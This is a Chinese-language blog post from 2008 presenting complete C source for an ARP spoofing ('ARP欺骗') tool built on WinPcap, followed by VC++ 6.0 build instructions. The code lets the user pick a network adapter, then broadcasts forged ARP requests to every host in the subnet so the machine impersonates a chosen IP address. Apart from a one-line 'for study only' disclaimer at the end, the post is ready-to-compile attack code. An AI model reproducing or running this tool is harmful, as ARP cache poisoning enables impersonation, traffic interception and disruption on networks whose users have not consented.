您的位置:首页 > 其它

ARP欺骗源码(基于WinPcap实现)

2008-10-07 19:43 288 查看
ARP欺骗源码(基于WinPcap实现) 佟强 2008.10.8





//ArpCheat.h

#ifndef MY_ARP_CHEAT_INCLUDE_H

#define MY_ARP_CHEAT_INCLUDE_H

//字节对齐必须是1

#pragma pack (1)

struct ethernet_head

{

unsigned char dest_mac[6]; //目标主机MAC地址

unsigned char source_mac[6]; //源端MAC地址

unsigned short eh_type; //以太网类型

};

struct arp_head

{

unsigned short hardware_type; //硬件类型:以太网接口类型为1

unsigned short protocol_type; //协议类型:IP协议类型为0X0800

unsigned char add_len; //硬件地址长度:MAC地址长度为6B

unsigned char pro_len; //协议地址长度:IP地址长度为4B

unsigned short option; //操作:ARP请求为1,ARP应答为2

unsigned char sour_addr[6]; //源MAC地址:发送方的MAC地址

unsigned long sour_ip; //源IP地址:发送方的IP地址

unsigned char dest_addr[6]; //目的MAC地址:ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址

unsigned long dest_ip; //目的IP地址:ARP请求中为请求解析的IP地址;ARP响应中为接收方的IP地址

unsigned char padding[18];

};

struct arp_packet //最终arp包结构

{

ethernet_head eth; //以太网头部

arp_head arp; //arp数据包头部

};

#pragma pack ()

/**

* 获得网卡的MAC地址

* pDevName 网卡的设备名称

*/

unsigned char* GetSelfMac(char* pDevName);

/**

* 封装ARP请求包

* source_mac 源MAC地址

* srcIP 源IP

* destIP 目的IP

*/

unsigned char* BuildArpPacket(unsigned char* source_mac,

unsigned long srcIP, unsigned long destIP);

#endif

//ArpCheat.cpp

#include <stdio.h>

#include <pcap.h>

#include <conio.h>

#include <packet32.h>

#include <ntddndis.h>

#include "ArpCheat.h"

int main(int argc,char* argv[]){

pcap_if_t *alldevs; //全部网卡列表

pcap_if_t *d; //一个网卡

int inum; //用户选择的网卡序号

int i=0; //循环变量

pcap_t *adhandle; //一个pcap实例

char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区

unsigned char *mac; //本机MAC地址

unsigned char *packet; //ARP包

unsigned long fakeIp; //要伪装成的IP地址

pcap_addr_t *pAddr; //网卡地址

unsigned long ip; //IP地址

unsigned long netmask; //子网掩码

if(argc!=2){

printf("Usage: %s inet_addr/n",argv[0]);

return -1;

}

//从参数列表获得要伪装的IP地址

fakeIp = inet_addr(argv[1]);

if(INADDR_NONE==fakeIp){

fprintf(stderr,"Invalid IP: %s/n",argv[1]);

return -1;

}



/* 获得本机网卡列表 */

if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)

{

fprintf(stderr,"Error in pcap_findalldevs: %s/n", errbuf);

exit(1);

}



/* 打印网卡列表 */

for(d=alldevs; d; d=d->next)

{

printf("%d", ++i);

if (d->description)

printf(". %s/n", d->description);

else

printf(". No description available/n");

}

//如果没有发现网卡

if(i==0)

{

printf("/nNo interfaces found! Make sure WinPcap is installed./n");

return -1;

}

//请用户选择一个网卡

printf("Enter the interface number (1-%d):",i);

scanf("%d", &inum);



//如果用户选择的网卡序号超出有效范围,则退出

if(inum < 1 || inum > i)

{

printf("/nInterface number out of range./n");

/* Free the device list */

pcap_freealldevs(alldevs);

return -1;

}



/* 移动指针到用户选择的网卡 */

for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);



mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://"

printf("发送ARP欺骗包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s/n",

mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]);

/* 打开网卡 */

if ( (adhandle= pcap_open(d->name, // name of the device

65536, // portion of the packet to capture

0, //open flag

1000, // read timeout

NULL, // authentication on the remote machine

errbuf // error buffer

) ) == NULL)

{

fprintf(stderr,"/nUnable to open the adapter. %s is not supported by WinPcap/n",

d->name);

/* Free the device list */

pcap_freealldevs(alldevs);

return -1;

}

for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){

//得到用户选择的网卡的一个IP地址

ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr;

//得到该IP地址对应的子网掩码

netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr;

if (!ip || !netmask){

continue;

}

//看看这个IP和要伪装的IP是否在同一个子网

if((ip&netmask)!=(fakeIp&netmask)){

continue; //如果不在一个子网,继续遍历地址列表

}

unsigned long netsize = ntohl(~netmask); //网络中主机数

unsigned long net = ip & netmask; //子网地址

for(unsigned long n=1; n<netsize; n++){

//第i台主机的IP地址,网络字节顺序

unsigned long destIp = net | htonl(n);

//构建假的ARP请求包,达到本机伪装成给定的IP地址的目的

packet = BuildArpPacket(mac,fakeIp,destIp);

if(pcap_sendpacket(adhandle, packet, 60)==-1){

fprintf(stderr,"pcap_sendpacket error./n");

}

}

}

return 0;

}

/**

* 获得网卡的MAC地址

* pDevName 网卡的设备名称

*/

unsigned char* GetSelfMac(char* pDevName){

static u_char mac[6];

memset(mac,0,sizeof(mac));

LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);

if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))

{

return NULL;

}

PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));

if (OidData == NULL)

{

PacketCloseAdapter(lpAdapter);

return NULL;

}

//

// Retrieve the adapter MAC querying the NIC driver

//

OidData->Oid = OID_802_3_CURRENT_ADDRESS;

OidData->Length = 6;

memset(OidData->Data, 0, 6);

BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);

if(Status)

{

memcpy(mac,(u_char*)(OidData->Data),6);

}

free(OidData);

PacketCloseAdapter(lpAdapter);

return mac;

}

/**

* 封装ARP请求包

* source_mac 源MAC地址

* srcIP 源IP

* destIP 目的IP

*/

unsigned char* BuildArpPacket(unsigned char* source_mac,

unsigned long srcIP,unsigned long destIP)

{

static struct arp_packet packet;

//目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF

memset(packet.eth.dest_mac,0xFF,6);

//源MAC地址

memcpy(packet.eth.source_mac,source_mac,6);

//上层协议为ARP协议,0x0806

packet.eth.eh_type = htons(0x0806);

//硬件类型,Ethernet是0x0001

packet.arp.hardware_type = htons(0x0001);

//上层协议类型,IP为0x0800

packet.arp.protocol_type = htons(0x0800);

//硬件地址长度:MAC地址长度为0x06

packet.arp.add_len = 0x06;

//协议地址长度:IP地址长度为0x04

packet.arp.pro_len = 0x04;

//操作:ARP请求为1

packet.arp.option = htons(0x0001);

//源MAC地址

memcpy(packet.arp.sour_addr,source_mac,6);

//源IP地址

packet.arp.sour_ip = srcIP;

//目的MAC地址,填充0

memset(packet.arp.dest_addr,0,6);

//目的IP地址

packet.arp.dest_ip = destIP;

//填充数据,18B

memset(packet.arp.padding,0,18);

return (unsigned char*)&packet;

}

VC++ 6.0 中使用WinPcap

下载并安装WinPcap,安装之后在目录”C:/WINDOWS/system32“下WinPcap添加了Packet.dll、wpcap.dll。
增加WinPcap的include和lib路径:
Tools→Options→Directories,其中include文件的路径增加WinPcap的include路径(其中有pcap.h等头文件),library文件的路径增加WinPcap的lib路径(其中有Packet.lib和wpcap.lib)。
增加项目的静态链接库:
Project→Settings→Link→Object/library Modules,在文本框的末尾添加”wpcap.lib packet.lib ws2_32.lib“。
增加预编译信息:
Project→Settings→C/C++→Preprocessor definitions,在文本框的末尾添加”WPCAP,H***E_REMOTE“。

仅供交流学习之用,请勿在真实网络环境中使用。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: